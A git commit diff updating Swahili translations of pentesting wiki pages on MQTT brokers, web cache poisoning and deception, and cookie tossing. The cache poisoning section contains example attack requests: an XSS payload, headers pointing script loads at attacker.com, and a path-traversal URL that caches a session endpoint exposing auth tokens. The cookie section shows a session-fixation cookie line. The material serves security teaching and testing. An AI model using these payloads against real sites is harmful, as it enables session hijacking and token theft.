Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui

This commit is contained in:
Translator 2025-03-24 11:33:52 +00:00
parent 8e6e0a760c
commit 328a949626
4 changed files with 140 additions and 136 deletions

View File

@ -4,7 +4,7 @@
## Basic Information
**MQ Telemetry Transport (MQTT)** inajulikana kama **protocol ya ujumbe ya kuchapisha/kujiunga** ambayo inajitokeza kwa urahisi wake mkubwa na mwanga. Protocol hii imeandaliwa mahsusi kwa mazingira ambapo vifaa vina uwezo mdogo na vinafanya kazi juu ya mitandao ambayo ina sifa za upana wa bendi wa chini, ucheleweshaji mkubwa, au muunganisho usio na uhakika. Malengo makuu ya MQTT ni pamoja na kupunguza matumizi ya upana wa bendi ya mtandao na kupunguza mahitaji ya rasilimali za kifaa. Aidha, inakusudia kudumisha mawasiliano ya kuaminika na kutoa kiwango fulani cha uhakikisho wa usambazaji. Malengo haya yanaufanya MQTT kuwa mzuri sana kwa uwanja unaokua wa **mawasiliano ya mashine kwa mashine (M2M)** na **Internet of Things (IoT)**, ambapo ni muhimu kuunganisha vifaa vingi kwa ufanisi. Zaidi ya hayo, MQTT ni faida kubwa kwa programu za simu, ambapo kuhifadhi upana wa bendi na maisha ya betri ni muhimu.
**MQ Telemetry Transport (MQTT)** inajulikana kama **protocol ya ujumbe ya kuchapisha/kujiandikisha** ambayo inajitokeza kwa urahisi wake mkubwa na mwanga. Protocol hii imeandaliwa mahsusi kwa mazingira ambapo vifaa vina uwezo mdogo na vinatumika kwenye mitandao ambayo ina sifa za upana wa bendi wa chini, ucheleweshaji mkubwa, au muunganisho usio na uhakika. Malengo makuu ya MQTT ni pamoja na kupunguza matumizi ya upana wa bendi ya mtandao na kupunguza mahitaji kwenye rasilimali za kifaa. Aidha, inakusudia kudumisha mawasiliano ya kuaminika na kutoa kiwango fulani cha uhakikisho wa usambazaji. Malengo haya yanaufanya MQTT kuwa mzuri sana kwa uwanja unaokua wa **mawasiliano ya mashine-kwa-mashine (M2M)** na **Internet of Things (IoT)**, ambapo ni muhimu kuunganisha vifaa vingi kwa ufanisi. Zaidi ya hayo, MQTT ni faida kubwa kwa programu za simu, ambapo kuhifadhi upana wa bendi na maisha ya betri ni muhimu.
**Default port:** 1883
```
@ -13,9 +13,9 @@ PORT STATE SERVICE REASON
```
## Kukagua trafiki
Wakati pakiti ya **CONNECT** inapopokelewa na wakala wa MQTT, pakiti ya **CONNACK** inatumwa nyuma. Pakiti hii ina nambari ya kurudi ambayo ni muhimu kwa kuelewa hali ya muunganisho. Nambari ya kurudi ya **0x00** inamaanisha kwamba akreditivu zimekubaliwa, ikionyesha muunganisho uliofanikiwa. Kwa upande mwingine, nambari ya kurudi ya **0x05** inaashiria kwamba akreditivu si halali, hivyo kuzuia muunganisho.
Wakati pakiti ya **CONNECT** inapopokelewa na wakala wa MQTT, pakiti ya **CONNACK** inatumwa nyuma. Pakiti hii ina nambari ya kurudi ambayo ni muhimu kwa kuelewa hali ya muunganisho. Nambari ya kurudi ya **0x00** inamaanisha kwamba ithibitisho zimekubaliwa, ikionyesha muunganisho uliofanikiwa. Kwa upande mwingine, nambari ya kurudi ya **0x05** inaashiria kwamba ithibitisho si sahihi, hivyo kuzuia muunganisho.
Kwa mfano, ikiwa wakala atakataa muunganisho kutokana na akreditivu zisizo halali, hali hiyo itakuwa kama ifuatavyo:
Kwa mfano, ikiwa wakala atakataa muunganisho kutokana na ithibitisho zisizo sahihi, hali hiyo itakuwa kama ifuatavyo:
```
{
"returnCode": "0x05",
@ -28,7 +28,7 @@ Kwa mfano, ikiwa wakala atakataa muunganisho kutokana na akreditivu zisizo halal
## Pentesting MQTT
**Uthibitisho ni wa hiari kabisa** na hata kama uthibitisho unafanywa, **sifuri hazitumiki kwa chaguo-msingi** (taarifa za kuingia zinatumwa kwa maandiko wazi). Mashambulizi ya MITM bado yanaweza kufanywa kuiba nywila.
**Uthibitisho ni wa hiari kabisa** na hata kama uthibitisho unafanywa, **sifuri hazitumiki kwa kawaida** (taarifa za kuingia zinatumwa kwa maandiko wazi). Mashambulizi ya MITM bado yanaweza kufanywa ili kuiba nywila.
Ili kuungana na huduma ya MQTT unaweza kutumia: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) na jiandikishe kwa mada zote ukifanya:
```
@ -73,22 +73,18 @@ client.loop_start()
if __name__ == "__main__":
main()
```
## Taarifa zaidi
from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
### Mfano wa Kuchapisha/Kusajili <a href="#b667" id="b667"></a>
Mfano wa kuchapisha/kusajili unajumuisha:
- **Mchapishaji**: anachapisha ujumbe kwenye mada moja (au nyingi) katika broker.
- **Mwanachama**: anasajili kwenye mada moja (au nyingi) katika broker na kupokea ujumbe wote wanaotumwa na mchapishaji.
- **Broker**: inapeleka ujumbe wote kutoka kwa wachapishaji hadi kwa wanachama.
- **Broker**: inaratibu ujumbe wote kutoka kwa wachapishaji hadi kwa wanachama.
- **Mada**: inajumuisha ngazi moja au zaidi ambazo zimegawanywa na slash ya mbele (mfano, /smartshouse/livingroom/temperature).
### Muundo wa Paket <a href="#f15a" id="f15a"></a>
Kila paket ya MQTT ina kichwa kisichobadilika (Mchoro 02).Mchoro 02: Kichwa Kisichobadilika
Kila paket ya MQTT ina kichwa kisichobadilika (Mchoro 02). Mchoro 02: Kichwa Kisichobadilika
![https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png)
@ -101,9 +97,9 @@ Kila paket ya MQTT ina kichwa kisichobadilika (Mchoro 02).Mchoro 02: Kichwa Kisi
- PUBREC (5): Sehemu ya itifaki ya usambazaji wa ujumbe inayoakikisha ujumbe umepokelewa.
- PUBREL (6): Uhakikisho zaidi katika usambazaji wa ujumbe, ikionyesha kutolewa kwa ujumbe.
- PUBCOMP (7): Sehemu ya mwisho ya itifaki ya usambazaji wa ujumbe, ikionyesha kukamilika.
- SUBSCRIBE (8): Ombi la mteja kusikiliza ujumbe kutoka mada.
- SUBSCRIBE (8): Ombi la mteja kusikiliza ujumbe kutoka kwa mada.
- SUBACK (9): Kuthibitisha kwa seva kuhusu ombi la SUBSCRIBE.
- UNSUBSCRIBE (10): Ombi la mteja kusitisha kupokea ujumbe kutoka mada.
- UNSUBSCRIBE (10): Ombi la mteja kusitisha kupokea ujumbe kutoka kwa mada.
- UNSUBACK (11): Jibu la seva kwa ombi la UNSUBSCRIBE.
- PINGREQ (12): Ujumbe wa moyo unaotumwa na mteja.
- PINGRESP (13): Jibu la seva kwa ujumbe wa moyo.

View File

@ -17,13 +17,13 @@ Utekelezaji wa shambulio la cache poisoning unajumuisha hatua kadhaa:
1. **Utambuzi wa Ingizo Lisilo na Funguo**: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalotolewa na seva. Kutambua vigezo hivi ni muhimu kwani vinaweza kutumika kubadilisha cache.
2. **Kutatua Vigezo Visivyo na Funguo**: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayomfaidi mshambuliaji.
3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa Katika Cache**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.
3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.
### Ugunduzi: Angalia vichwa vya HTTP
Kawaida, wakati jibu lime **hifadhiwa kwenye cache** kutakuwa na **kichwa kinachoonyesha hivyo**, unaweza kuangalia vichwa gani unapaswa kuzingatia katika chapisho hili: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Kawaida, wakati jibu lime **hifadhiwa kwenye cache** kutakuwa na **kichwa kinachoashiria hivyo**, unaweza kuangalia vichwa gani unapaswa kuzingatia katika chapisho hili: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Ugunduzi: K codes za makosa ya caching
### Ugunduzi: Kihesabu makosa ya caching
Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **kodi ya hali 400**. Kisha jaribu kufikia ombi kawaida na ikiwa **jibu ni kodi ya hali 400**, unajua ni hatari (na unaweza hata kufanya DoS).
@ -37,33 +37,33 @@ Hata hivyo, kumbuka kwamba **wakati mwingine aina hizi za kodi za hali hazihifad
### Ugunduzi: Tambua na tathmini vigezo visivyo na funguo
Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) ili **kufanya brute-force vigezo na vichwa** ambavyo vinaweza kuwa **vinabadilisha jibu la ukurasa**. Kwa mfano, ukurasa unaweza kuwa unatumia kichwa `X-Forwarded-For` kuonyesha mteja kupakua script kutoka pale:
Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) ili **kufanya brute-force vigezo na vichwa** ambavyo vinaweza kuwa **vinabadilisha jibu la ukurasa**. Kwa mfano, ukurasa unaweza kuwa unatumia kichwa `X-Forwarded-For` kuashiria mteja kupakua script kutoka hapo:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Elicit a harmful response from the back-end server
### Pata jibu hatari kutoka kwa seva ya nyuma
With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)
Kwa kutumia parameter/header iliyotambuliwa angalia jinsi inavyosafishwa na wapi inavyoakisi au kuathiri jibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (fanya XSS au upakue msimbo wa JS unaodhibitiwa na wewe? fanya DoS?...)
### Get the response cached
### Pata jibu lililohifadhiwa
Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.
Mara tu unapokuwa umekutambua **ukurasa** ambao unaweza kutumiwa vibaya, ni **parameter**/**header** ipi ya kutumia na **jinsi** ya kuifanya, unahitaji kupata ukurasa huo uhifadhiwe. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda, unaweza kuhitaji kujaribu kwa sekunde kadhaa.
The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
Header **`X-Cache`** katika jibu inaweza kuwa muhimu sana kwani inaweza kuwa na thamani **`miss`** wakati ombi halijahifadhiwa na thamani **`hit`** wakati imehifadhiwa.\
Header **`Cache-Control`** pia ni ya kuvutia kujua ikiwa rasilimali inahifadhiwa na wakati itakuwa mara ya pili rasilimali hiyo itahifadhiwa tena: `Cache-Control: public, max-age=1800`
Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
Header nyingine ya kuvutia ni **`Vary`**. Header hii mara nyingi hutumiwa ku **onyesha headers za ziada** ambazo zinachukuliwa kama **sehemu ya ufunguo wa cache** hata kama kawaida hazihusishwi. Hivyo, ikiwa mtumiaji anajua `User-Agent` wa mwathirika anayelenga, anaweza kuharibu cache kwa watumiaji wanaotumia `User-Agent` hiyo maalum.
One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
Header nyingine inayohusiana na cache ni **`Age`**. Inafafanua muda kwa sekunde ambao kitu kimekuwa kwenye cache ya proxy.
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
Unapohifadhi ombi, kuwa **makini na headers unazotumia** kwa sababu baadhi yao wanaweza **kutumika bila kutarajiwa** kama **keyed** na **mwathirika atahitaji kutumia header hiyo hiyo**. Daima **jaribu** Upoaji wa Cache na **vivinjari tofauti** ili kuangalia ikiwa inafanya kazi.
## Exploiting Examples
## Mifano ya Kutumia
### Easiest example
### Mfano rahisi zaidi
A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
Header kama `X-Forwarded-For` inakisiwa katika jibu bila kusafishwa.\
Unaweza kutuma payload ya msingi ya XSS na kuharibu cache ili kila mtu anayefikia ukurasa atakuwa na XSS:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@ -77,9 +77,17 @@ _Note that this will poison a request to `/en?region=uk` not to `/en`_
cache-poisoning-to-dos.md
{{#endref}}
### Cache poisoning through CDNs
In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** inelezwa hali rahisi ifuatayo:
- CDN itahifadhi chochote kilicho chini ya `/share/`
- CDN HAIta decode wala kunormalize `%2F..%2F`, hivyo, inaweza kutumika kama **path traversal kuaccess maeneo mengine nyeti ambayo yatakuwa cached** kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Web server ITAdecode na kunormalize `%2F..%2F`, na itajibu na `/api/auth/session`, ambayo **ina token ya uthibitishaji**.
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies zinaweza pia kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lililo na uharibifu.
Cookies pia zinaweza kuonyeshwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lililo na uharibifu.
```html
GET / HTTP/1.1
Host: vulnerable.com
@ -97,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md
### Kuambukiza cache kwa kutumia njia ya kupita ili kuiba funguo za API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Hii inayoandikwa inaelezea**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jinsi ilivyowezekana kuiba funguo za OpenAI API kwa URL kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` kwa sababu chochote kinacholingana na `/share/*` kitahifadhiwa bila Cloudflare kuandika URL, ambayo ilifanywa wakati ombi lilipofika kwenye seva ya wavuti.
[**Andiko hili linaelezea**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jinsi ilivyowezekana kuiba funguo za OpenAI API kwa URL kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` kwa sababu chochote kinacholingana na `/share/*` kitakuwa kimehifadhiwa bila Cloudflare kuirekebisha URL, ambayo ilifanyika wakati ombi lilipofika kwenye seva ya wavuti.
Hii pia inaelezwa vizuri zaidi katika:
@ -107,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
### Kutumia vichwa vingi ili kutumia udhaifu wa kuambukiza cache ya wavuti <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **apeleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya kuhamasisha. Unaweza kudhibiti mahali ukurasa unapoelekezwa na kuhamasisha.
Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **peleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya uelekeo. Unaweza kudhibiti mahali ukurasa unapoelekezwa na uelekeo.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -116,7 +124,7 @@ X-Forwarded-Scheme: http
```
### Kutumia kwa kutumia kichwa kidogo cha `Vary`
Ikiwa umebaini kwamba kichwa cha **`X-Host`** kinatumika kama **jina la kikoa kupakia rasilimali ya JS** lakini kichwa cha **`Vary`** katika jibu kinaonyesha **`User-Agent`**. Basi, unahitaji kutafuta njia ya kuhamasisha User-Agent wa mwathirika na kuharibu cache kwa kutumia user agent hiyo:
Ikiwa umebaini kwamba kichwa cha **`X-Host`** kinatumika kama **jina la kikoa kupakia rasilimali ya JS** lakini kichwa cha **`Vary`** katika jibu kinaonyesha **`User-Agent`**. Basi, unahitaji kutafuta njia ya kutoa User-Agent wa mwathirika na kuharibu cache kwa kutumia user agent hiyo:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -125,7 +133,7 @@ X-Host: attacker.com
```
### Fat Get
Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ilivyo katika vuln ambayo James Kettle alipata kwenye tovuti ya Github:
Tuma ombi la GET pamoja na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ilivyo katika udhaifu ambao James Kettle alipata kwenye tovuti ya Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -144,7 +152,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Jifunze hapa jinsi ya kufanya [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
Jifunze hapa jinsi ya kutekeleza [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automated testing for Web Cache Poisoning
@ -156,7 +164,7 @@ Example usage: `wcvs -u example.com`
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS ilituma kipande ndani ya URL bila kukiondoa na kuunda ufunguo wa cache kwa kutumia tu mwenyeji, njia na swali (ikikosa kipande). Hivyo ombi `/#/../?r=javascript:alert(1)` lilitumwa kwa backend kama `/#/../?r=javascript:alert(1)` na ufunguo wa cache haukuwa na payload ndani yake, tu mwenyeji, njia na swali.
ATS ilituma kipande ndani ya URL bila kukiondoa na kuunda ufunguo wa cache kwa kutumia mwenyeji, njia na swali tu (ikikosa kipande). Hivyo ombi `/#/../?r=javascript:alert(1)` lilitumwa kwa backend kama `/#/../?r=javascript:alert(1)` na ufunguo wa cache haukuwa na payload ndani yake, tu mwenyeji, njia na swali.
### GitHub CP-DoS
@ -168,15 +176,15 @@ GitLab inatumia GCP buckets kuhifadhi maudhui ya statiki. **GCP Buckets** inasai
### Rack Middleware (Ruby on Rails)
Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uhamasishaji wa 301 unafanyika kwa eneo lile lile, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwahamisha watumiaji kwa mwenyeji aliyetajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.
Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipanga kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uelekeo wa 301 unafanyika kwa eneo hilo hilo, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwarudisha watumiaji kwa mwenyeji ulioainishwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.
### 403 and Storage Buckets
Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Storage Blobs kwa kichwa kisichofaa cha Uidhinishaji kutasababisha jibu la 403 ambalo lilihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma zingine za proxy.
Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Storage Blobs kwa kichwa kisicho sahihi cha Uidhinishaji kutasababisha jibu la 403 ambalo lilihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma nyingine za proxy.
### Injecting Keyed Parameters
Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyoandikwa URL. Kuandika URL ya pili ya parameter ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request linaloweza kuhifadhiwa.
Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyowekwa URL. Kuweka URL-encoding kwenye parameter ya pili ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request linaloweza kuhifadhiwa.
### User Agent Rules
@ -194,7 +202,7 @@ The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the accep
Lengo la Cache Deception ni kufanya wateja **kupakia rasilimali ambazo zitahifadhiwa na cache zikiwa na taarifa zao nyeti**.
Kwanza kabisa, kumbuka kwamba **extensions** kama vile `.css`, `.js`, `.png` n.k. mara nyingi **zimewekwa** kuhifadhiwa katika **cache.** Hivyo, ikiwa unafikia `www.example.com/profile.php/nonexistent.js` cache itahifadhi jibu kwa sababu inaona **extension** ya `.js`. Lakini, ikiwa **programu** inajibu na **maudhui** nyeti ya mtumiaji yaliyohifadhiwa katika _www.example.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine.
Kwanza kabisa, kumbuka kwamba **extensions** kama vile `.css`, `.js`, `.png` n.k. mara nyingi **zimepangwa** kuhifadhiwa katika **cache.** Hivyo, ikiwa unapata `www.example.com/profile.php/nonexistent.js` cache itahifadhi jibu kwa sababu inaona **extension** ya `.js`. Lakini, ikiwa **programu** inajibu na **maudhui** nyeti ya mtumiaji yaliyohifadhiwa katika _www.example.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine.
Mambo mengine ya kujaribu:
@ -205,13 +213,13 @@ Mambo mengine ya kujaribu:
- _www.example.com/profile.php/%2e%2e/test.js_
- _Tumia extensions zisizojulikana kama_ `.avif`
Mfano mwingine wazi unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Katika mfano, inaelezwa kwamba ikiwa unaleta ukurasa usio na uwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**pamoja na taarifa nyeti za mtumiaji**) yatarudishwa na seva ya cache itahifadhi matokeo.\
Mfano mwingine wazi sana unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Katika mfano, inaelezwa kwamba ikiwa unapata ukurasa usio na kuwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**ikiwa na taarifa nyeti za mtumiaji**) yatarudishwa na seva ya cache itahifadhi matokeo.\
Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ katika kivinjari chao na kuona **taarifa za siri** za watumiaji ambao walifika hapo awali.
Kumbuka kwamba **cache proxy** inapaswa kuwa **imewekwa** kuhifadhi faili **kulingana** na **extension** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui `text/html` badala ya aina ya mime `text/css` (ambayo inatarajiwa kwa faili ya _.css_).
Kumbuka kwamba **cache proxy** inapaswa **kupangwa** kuhifadhi faili **kulingana** na **extension** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui `text/html` badala ya aina ya mime `text/css` (ambayo inatarajiwa kwa faili ya _.css_).
Jifunze hapa jinsi ya kufanya [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Jifunze hapa jinsi ya kutekeleza [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatic Tools

View File

@ -9,14 +9,15 @@ Ikiwa mshambuliaji anaweza **kudhibiti subdomain au domain ya kampuni au kupata
Kama ilivyosemwa katika sehemu ya Cookies Hacking, wakati **cookie imewekwa kwa domain (ikiwekwa wazi) itatumika katika domain na subdomains.**
> [!CAUTION]
> Hivyo, **mshambuliaji ataweza kuweka cookie maalum kwa domain na subdomains akifanya kitu kama** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
> Kwa hivyo, **mshambuliaji atakuwa na uwezo wa kuweka cookie maalum kwa domain na subdomains akifanya kitu kama** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
Hii inaweza kuwa hatari kwani mshambuliaji anaweza:
- **Kuweka cookie ya mwathirika kwa akaunti ya mshambuliaji** hivyo ikiwa mtumiaji hataona, **atafanya vitendo katika akaunti ya mshambuliaji** na mshambuliaji anaweza kupata taarifa za kuvutia (angalia historia ya utafutaji wa mtumiaji katika jukwaa, mwathirika anaweza kuweka kadi yake ya mkopo katika akaunti...)
- Mfano wa hili [unaweza kupatikana hapa](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) ambapo mshambuliaji aliweka cookie yake katika sehemu maalum ambazo mwathirika atatumia kuidhinisha **ufikiaji wa repos zake za git lakini kutoka kwa akaunti ya mshambuliaji** kwani atakuwa akipanga cookies zake katika maeneo yanayohitajika.
- Ikiwa **cookie haibadiliki baada ya kuingia**, mshambuliaji anaweza tu **kuweka cookie (session-fixation)**, kusubiri hadi mwathirika aingie na kisha **atumie cookie hiyo kuingia kama mwathirika**.
- Wakati mwingine, hata kama cookie za kikao zinabadilika, mshambuliaji hutumia ile ya awali na atapata mpya pia.
- Ikiwa **cookie inaweka thamani ya awali** (kama katika flask ambapo **cookie** inaweza **kuweka** **CSRF token** ya kikao na thamani hii itadumishwa baada ya mwathirika kuingia), **mshambuliaji anaweza kuweka thamani hii inayojulikana na kisha kuitumia** (katika hali hiyo, mshambuliaji anaweza kumfanya mtumiaji afanye ombi la CSRF kwani anajua CSRF token).
- Wakati mwingine, hata kama cookies za kikao zinabadilika, mshambuliaji hutumia ile ya awali na atapata mpya pia.
- Ikiwa **cookie inaweka thamani fulani ya awali** (kama katika flask ambapo **cookie** inaweza **kuweka** **CSRF token** ya kikao na thamani hii itadumishwa baada ya mwathirika kuingia), **mshambuliaji anaweza kuweka thamani hii inayojulikana na kisha kuitumia** (katika hali hiyo, mshambuliaji anaweza kumfanya mtumiaji afanye ombi la CSRF kwani anajua CSRF token).
- Kama vile kuweka thamani, mshambuliaji pia anaweza kupata cookie isiyo na uthibitisho iliyozalishwa na seva, kupata CSRF token kutoka kwake na kuitumia.
### Cookie Order
@ -25,16 +26,16 @@ Wakati kivinjari kinapokea cookies mbili zenye jina sawa **zinazoathiri sehemu s
